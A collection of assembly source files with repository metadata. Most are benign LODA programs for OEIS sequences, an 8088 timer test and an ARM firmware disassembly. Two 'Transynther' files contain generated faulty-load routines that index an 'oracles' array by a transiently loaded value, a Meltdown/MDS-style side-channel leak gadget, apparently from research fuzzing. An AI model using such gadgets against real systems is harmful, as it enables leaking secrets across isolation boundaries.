[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168220.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168220.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168220: a(n) = n^4*(n^6 + 1)/2. ; 0,1,520,29565,524416,4883125,30233736,141238825,536872960,1743395481,5000005000,12968719621,30958692480,68929260205,144627346696,288325220625,549755846656,1007996991985,1785233665800,3065533194061,5120000080000,8339940586341,13279961512840,20713255746745,31701690648576,47683716015625,70583548055176,102945566313045,148098383655040,210353617003741,295245000405000,409814143952161,562949953945600,765789493225185,1032188877698056,1379273677508125,1828079220871296,2404292187146005,3139105925036680,4070203043752521,5242880001280000,6711329656489081,8540099062394760,10805741158351525,13598680471083136,17025314460058125,21210373743627016,26299566120354865,32462531056926720,39896133151688401,48828125003125000,59521211917189101,72277552978184320,87443735186701765,105416259636711816,126647581064145625,151652744552974336,181016665733723625,215402103455361160,255558376656379381,302330880006480000,356671455838364221,419649682941558280,492465145948771905,576460752311812096,673137167240370625,784168440464885256,911418902285956285,1056961410089296000,1223097030338713461,1412376245012005000,1627621775517646441,1871953121325680640,2148812914865977945,2461995198692931976,2815675735489453125,3214444466186651776,3663340236310676845,4167887915636607240,4734138041332898641,5368709120020480000,6078832729549987761,6872401566820635400,7758020593626655885,8745061438323939456,9843720217062233125,11065078944428885896,12421170709600429305,13925048800500090880,15590859965014462921,17433922005032805000,19470805905939660181,21719422711217426560,24199115359002061725,26930755704784022536,29936846961959670625,33241631799617519616,36871206344790677665,40853640344423462920,45219103750488254301 mov $1,$0 pow $0,4 pow $1,10 add $0,$1 div $0,2
196.555556
1,684
0.918033
f57b2f33025d1d12990ec3d3054e0e6080f5607a
378
asm
Assembly
oeis/347/A347478.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/347/A347478.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/347/A347478.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A347478: Number of total dominating sets in the n-alkane graph. ; 15,64,256,1024,4096,16384,65536,262144,1048576,4194304,16777216,67108864,268435456,1073741824,4294967296,17179869184,68719476736,274877906944,1099511627776,4398046511104,17592186044416,70368744177664,281474976710656,1125899906842624 sub $0,1 mov $1,4 sub $2,$0 add $0,3 pow $1,$0 max $2,0 sub $1,$2 mov $0,$1
31.5
234
0.793651
ba71b238e5598377ce6c88a8781a34b7f09d8430
178
asm
Assembly
programs/oeis/289/A289642.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/289/A289642.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/289/A289642.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A289642: Number of 2-digit numbers whose digits add up to n. ; 1,2,3,4,5,6,7,8,9,9,8,7,6,5,4,3,2,1 add $0,1 mov $2,$0 lpb $0 mov $0,19 sub $2,1 sub $0,$2 sub $0,1 lpe
14.833333
62
0.578652
86c58c6b72a999fc6d2866b02c1711505142711d
4,150
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_67_1337.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_67_1337.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_67_1337.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x37a6, %rsi lea addresses_D_ht+0x1ea6, %rdi nop nop nop add %r13, %r13 mov $13, %rcx rep movsw nop nop add %r12, %r12 lea addresses_WT_ht+0x5f2a, %r12 nop nop nop nop nop add $6803, %rcx mov $0x6162636465666768, %r13 movq %r13, %xmm3 movups %xmm3, (%r12) nop nop and %r13, %r13 lea addresses_normal_ht+0xdd0a, %rsi lea addresses_normal_ht+0x13a3c, %rdi add $49702, %r13 mov $63, %rcx rep movsw nop nop sub %rdi, %rdi lea addresses_UC_ht+0x176d6, %r14 nop nop add $22733, %rdx mov (%r14), %r12 nop nop nop nop cmp %r12, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi // Store lea addresses_normal+0x1bba6, %rbx nop nop add %r12, %r12 mov $0x5152535455565758, %r14 movq %r14, %xmm3 movups %xmm3, (%rbx) nop nop nop nop nop xor %r12, %r12 // Store lea addresses_normal+0x1eea6, %rdi nop nop nop nop nop add $9811, %rbx movw $0x5152, (%rdi) and %r10, %r10 // Store mov $0x1c6, %rbx nop xor $54999, %r13 movb $0x51, (%rbx) cmp %r14, %r14 // Load lea addresses_D+0xa596, %r13 nop and %rdi, %rdi mov (%r13), %r14w nop nop cmp %r12, %r12 // Store lea addresses_D+0x7396, %r13 nop nop nop and $8621, %r14 movb $0x51, (%r13) nop nop nop cmp %rbx, %rbx // Store mov $0x249b6d000000093e, %rdi nop dec %rcx mov $0x5152535455565758, %rbx movq %rbx, %xmm2 movaps %xmm2, (%rdi) nop nop add $24216, %rcx // Store lea addresses_A+0x1cda6, %r13 xor $59560, %r10 mov $0x5152535455565758, %r14 movq %r14, %xmm4 movups %xmm4, (%r13) nop cmp $1314, %r13 // Store lea addresses_D+0x17dbe, %r13 nop cmp $33588, %rbx mov $0x5152535455565758, %r12 movq %r12, %xmm5 movups %xmm5, (%r13) nop nop inc %rcx // Faulty Load lea addresses_D+0xcfa6, %rbx nop nop nop nop nop cmp %rcx, %rcx mov (%rbx), %r10w lea oracles, %r13 and $0xff, %r10 shlq $12, %r10 mov (%r13,%r10,1), %r10 pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'36': 67} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
20.75
200
0.643614
6ec5f62ca5a081296f2edcbba7d69a2eb3b58f7e
1,663
asm
Assembly
8088/mintimer/multimer.asm
reenigne/reenigne
c3eb8b31d7964e78bbe44908987d4be052a74488
[ "Unlicense" ]
92
2015-04-10T17:45:11.000Z
2022-03-30T17:58:51.000Z
8088/mintimer/multimer.asm
reenigne/reenigne
c3eb8b31d7964e78bbe44908987d4be052a74488
[ "Unlicense" ]
2
2017-11-05T07:21:35.000Z
2018-11-04T23:36:13.000Z
8088/mintimer/multimer.asm
reenigne/reenigne
c3eb8b31d7964e78bbe44908987d4be052a74488
[ "Unlicense" ]
18
2015-04-11T20:32:44.000Z
2021-11-06T05:19:57.000Z
%include "../defaults_bin.asm" in al,0x61 and al,0xfc or al,1 out 0x61,al ; Enable auto-EOI mov al,0x13 ; ICW4 needed, not cascaded, call address interval 8, edge triggered out 0x20,al ; Set ICW1 mov al,0x08 ; Interrupt vector address out 0x21,al ; Set ICW2 mov al,0x0f ; 8086/808 mode, auto-EOI, buffered mode/master, not special fully nested mode out 0x21,al ; Set ICW4 mov al,0xbc ; Enable IRQs 0 (timer), 1 (keyboard) and 6 (floppy disk). out 0x21,al ; Leave disabled 2 (EGA/VGA/slave 8259) 3 (COM2/COM4), 4 (COM1/COM3), 5 (hard drive, LPT2) and 7 (LPT1) xor ax,ax mov ds,ax mov word[8*4],irq0 mov [8*4+2],cs xor ax,ax doTest: push ax safeRefreshOff writePIT16 0, 2, 2 ; Ensure an IRQ0 is pending writePIT16 0, 2, 100 ; Queue an IRQ0 to execute from HLT sti hlt ; ACK first IRQ0 hlt ; wait for second IRQ0 writePIT16 0, 2, 0 ; Queue an IRQ0 for after the test in case of crash writePIT16 2, 2, 0 ; ***TIMING START*** pop ax push ax imul ah mov al,0x80 out 0x43,al ; ***TIMING END*** in al,0x42 mov bl,al in al,0x42 mov bh,al mov al,0x80 out 0x43,al in al,0x42 mov cl,al in al,0x42 mov ch,al mov al,0x80 out 0x43,al in al,0x42 mov dl,al in al,0x42 mov dh,al mov al,0x80 out 0x43,al in al,0x42 mov ah,al in al,0x42 xchg ah,al add bx,ax add bx,cx add bx,dx push bx refreshOn pop ax neg ax sub al,200 - '0' cmp al,32 jae noSaturate mov al,32 noSaturate: outputCharacter pop ax inc ax jz done jmp doTest done: complete irq0: iret
17.14433
118
0.621167
5ff4466ac93290d74d1e5afe455d6a1ca6c32672
8,932
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_9870_1605.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_9870_1605.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_9870_1605.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xe96d, %r9 xor %rdx, %rdx vmovups (%r9), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r8 nop nop sub $58040, %rax lea addresses_WT_ht+0x15ded, %r10 clflush (%r10) nop sub $54251, %r13 mov (%r10), %r15w nop nop nop add $18344, %rax lea addresses_D_ht+0x13f27, %r10 nop add %rax, %rax mov (%r10), %r9d nop mfence lea addresses_normal_ht+0x1356d, %r10 nop sub %r9, %r9 mov (%r10), %ax nop nop and $44192, %r9 lea addresses_UC_ht+0x15cad, %r13 nop nop nop sub %r8, %r8 movb (%r13), %r10b sub %r10, %r10 lea addresses_D_ht+0x1bdcd, %rdx nop nop nop nop nop xor %r15, %r15 mov (%rdx), %r8d nop nop nop nop nop and $62007, %rdx lea addresses_A_ht+0x149dd, %r10 cmp %rdx, %rdx vmovups (%r10), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r15 nop xor $10658, %rdx lea addresses_UC_ht+0xb7ed, %r8 nop nop sub %r15, %r15 mov (%r8), %r13 cmp %r8, %r8 lea addresses_WC_ht+0xe16d, %rsi lea addresses_UC_ht+0x3d6d, %rdi add %r10, %r10 mov $37, %rcx rep movsw inc %rdx lea addresses_A_ht+0x57ad, %rcx nop nop nop nop nop sub $28971, %r8 movb $0x61, (%rcx) nop nop add %r8, %r8 lea addresses_D_ht+0xfa0d, %r9 xor $64033, %rax vmovups (%r9), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rdi nop add %rcx, %rcx lea addresses_UC_ht+0x1889d, %r15 clflush (%r15) nop and %r8, %r8 movups (%r15), %xmm7 vpextrq $0, %xmm7, %r13 cmp %rcx, %rcx lea addresses_UC_ht+0x1b96d, %rsi lea addresses_UC_ht+0xfc6d, %rdi nop nop cmp $57378, %r15 mov $55, %rcx rep movsb nop sub %r10, %r10 lea addresses_A_ht+0x1baed, %r13 nop nop nop nop and $60932, %r10 mov $0x6162636465666768, %r15 movq %r15, %xmm0 vmovups %ymm0, (%r13) nop nop nop add $39956, %r15 lea addresses_UC_ht+0x18d6d, %rdx nop nop nop nop sub %r9, %r9 movw $0x6162, (%rdx) nop cmp $41483, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_D+0x1496d, %rsi lea addresses_WC+0x5bb3, %rdi nop and %rdx, %rdx mov $8, %rcx rep movsq nop nop nop nop nop add %rcx, %rcx // Store mov $0x6fc5c000000061d, %rsi nop nop nop inc %r9 movb $0x51, (%rsi) nop nop xor $64471, %rdx // Store lea addresses_US+0x4e21, %rsi nop nop nop nop inc %rdx movw $0x5152, (%rsi) nop nop nop nop inc %rdi // Store lea addresses_D+0xb56d, %r9 clflush (%r9) nop sub %rdi, %rdi mov $0x5152535455565758, %rsi movq %rsi, (%r9) nop nop nop nop nop cmp $30433, %rbp // Store lea addresses_normal+0x9e6d, %rsi nop nop xor $19780, %rbp movw $0x5152, (%rsi) nop nop nop nop nop xor $8044, %rdx // Faulty Load lea addresses_D+0x1496d, %rsi nop nop nop nop xor %r9, %r9 vmovups (%rsi), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %rbp lea oracles, %r9 and $0xff, %rbp shlq $12, %rbp mov (%r9,%rbp,1), %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal', 'size': 2, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'36': 9870} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
31.9
2,999
0.648791
be7130c8abc9b67456dcb0931ef25b13cba3fb8d
589
asm
Assembly
oeis/305/A305262.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/305/A305262.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/305/A305262.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A305262: a(n) = 140*2^n - 127. ; 13,153,433,993,2113,4353,8833,17793,35713,71553,143233,286593,573313,1146753,2293633,4587393,9174913,18349953,36700033,73400193,146800513,293601153,587202433,1174404993,2348810113,4697620353,9395240833,18790481793,37580963713,75161927553,150323855233,300647710593,601295421313,1202590842753,2405181685633,4810363371393,9620726742913,19241453485953,38482906972033,76965813944193,153931627888513,307863255777153,615726511554433,1231453023108993,2462906046218113,4925812092436353,9851624184872833 mov $1,2 pow $1,$0 sub $1,1 mul $1,140 add $1,13 mov $0,$1
58.9
495
0.843803
111646f1533c4a86b0a29fee87d5e13535cb6c17
22,381
asm
Assembly
platforms/m3/pre_v12/compiled_prog_vlsipool/none/SRAM_test_0.asm
lab11/M-ulator
95b49c6194678c74accca4a20af71380efbcac5f
[ "Apache-2.0", "MIT" ]
19
2015-01-26T10:47:23.000Z
2021-08-13T11:07:54.000Z
platforms/m3/pre_v12/compiled_prog_vlsipool/none/SRAM_test_0.asm
lab11/M-ulator
95b49c6194678c74accca4a20af71380efbcac5f
[ "Apache-2.0", "MIT" ]
14
2015-08-24T02:35:46.000Z
2021-05-05T03:53:44.000Z
platforms/m3/pre_v12/compiled_prog_vlsipool/none/SRAM_test_0.asm
lab11/M-ulator
95b49c6194678c74accca4a20af71380efbcac5f
[ "Apache-2.0", "MIT" ]
9
2015-05-27T23:27:35.000Z
2020-10-05T22:02:43.000Z
SRAM_test_0/SRAM_test_0.elf: file format elf32-littlearm Disassembly of section .text: 00000000 <hang-0x90>: 0: 00002000 .word 0x00002000 4: 000000a1 .word 0x000000a1 ... 1c: 00000090 .word 0x00000090 20: 00000090 .word 0x00000090 24: 00000090 .word 0x00000090 28: 00000090 .word 0x00000090 ... 34: 00000090 .word 0x00000090 ... 40: 0000015d .word 0x0000015d 44: 00000169 .word 0x00000169 48: 00000175 .word 0x00000175 4c: 00000181 .word 0x00000181 50: 0000018d .word 0x0000018d 54: 00000199 .word 0x00000199 58: 000001a5 .word 0x000001a5 5c: 000001b1 .word 0x000001b1 60: 000001bd .word 0x000001bd 64: 000001cd .word 0x000001cd 68: 000001dd .word 0x000001dd 6c: 000001ed .word 0x000001ed 70: 000001fd .word 0x000001fd 74: 0000020d .word 0x0000020d 78: 0000021d .word 0x0000021d 7c: 0000022d .word 0x0000022d 80: 0000023d .word 0x0000023d ... 00000090 <hang>: 90: e7fe b.n 90 <hang> ... 000000a0 <_start>: a0: f000 f9ca bl 438 <main> a4: e7fc b.n a0 <_start> Disassembly of section .text.mbus_write_message32: 000000a8 <mbus_write_message32>: a8: 4b02 ldr r3, [pc, #8] ; (b4 <mbus_write_message32+0xc>) aa: 0100 lsls r0, r0, #4 ac: 4318 orrs r0, r3 ae: 6001 str r1, [r0, #0] b0: 2001 movs r0, #1 b2: 4770 bx lr b4: a0003000 .word 0xa0003000 Disassembly of section .text.mbus_enumerate: 000000b8 <mbus_enumerate>: b8: 0603 lsls r3, r0, #24 ba: 2080 movs r0, #128 ; 0x80 bc: 0580 lsls r0, r0, #22 be: 4318 orrs r0, r3 c0: 4b01 ldr r3, [pc, #4] ; (c8 <mbus_enumerate+0x10>) c2: 6018 str r0, [r3, #0] c4: 4770 bx lr c6: 46c0 nop ; (mov r8, r8) c8: a0003000 .word 0xa0003000 Disassembly of section .text.mbus_sleep_all: 000000cc <mbus_sleep_all>: cc: 4b01 ldr r3, [pc, #4] ; (d4 <mbus_sleep_all+0x8>) ce: 2200 movs r2, #0 d0: 601a str r2, [r3, #0] d2: 4770 bx lr d4: a0003010 .word 0xa0003010 Disassembly of section .text.delay: 000000d8 <delay>: d8: b500 push {lr} da: 2300 movs r3, #0 dc: e001 b.n e2 <delay+0xa> de: 46c0 nop ; (mov r8, r8) e0: 3301 adds r3, #1 e2: 4283 cmp r3, r0 e4: d1fb bne.n de <delay+0x6> e6: bd00 pop {pc} Disassembly of section .text.write_regfile: 000000e8 <write_regfile>: e8: 0880 lsrs r0, r0, #2 ea: 0209 lsls r1, r1, #8 ec: b508 push {r3, lr} ee: 0a09 lsrs r1, r1, #8 f0: 4b05 ldr r3, [pc, #20] ; (108 <write_regfile+0x20>) f2: 0600 lsls r0, r0, #24 f4: 4308 orrs r0, r1 f6: 6018 str r0, [r3, #0] f8: 4b04 ldr r3, [pc, #16] ; (10c <write_regfile+0x24>) fa: 2210 movs r2, #16 fc: 601a str r2, [r3, #0] fe: 200a movs r0, #10 100: f7ff ffea bl d8 <delay> 104: bd08 pop {r3, pc} 106: 46c0 nop ; (mov r8, r8) 108: a0002000 .word 0xa0002000 10c: a000200c .word 0xa000200c Disassembly of section .text.set_wakeup_timer: 00000110 <set_wakeup_timer>: 110: b510 push {r4, lr} 112: 1c14 adds r4, r2, #0 114: 2900 cmp r1, #0 116: d003 beq.n 120 <set_wakeup_timer+0x10> 118: 2180 movs r1, #128 ; 0x80 11a: 0209 lsls r1, r1, #8 11c: 4301 orrs r1, r0 11e: e001 b.n 124 <set_wakeup_timer+0x14> 120: 0440 lsls r0, r0, #17 122: 0c41 lsrs r1, r0, #17 124: 4804 ldr r0, [pc, #16] ; (138 <set_wakeup_timer+0x28>) 126: f7ff ffdf bl e8 <write_regfile> 12a: 2c00 cmp r4, #0 12c: 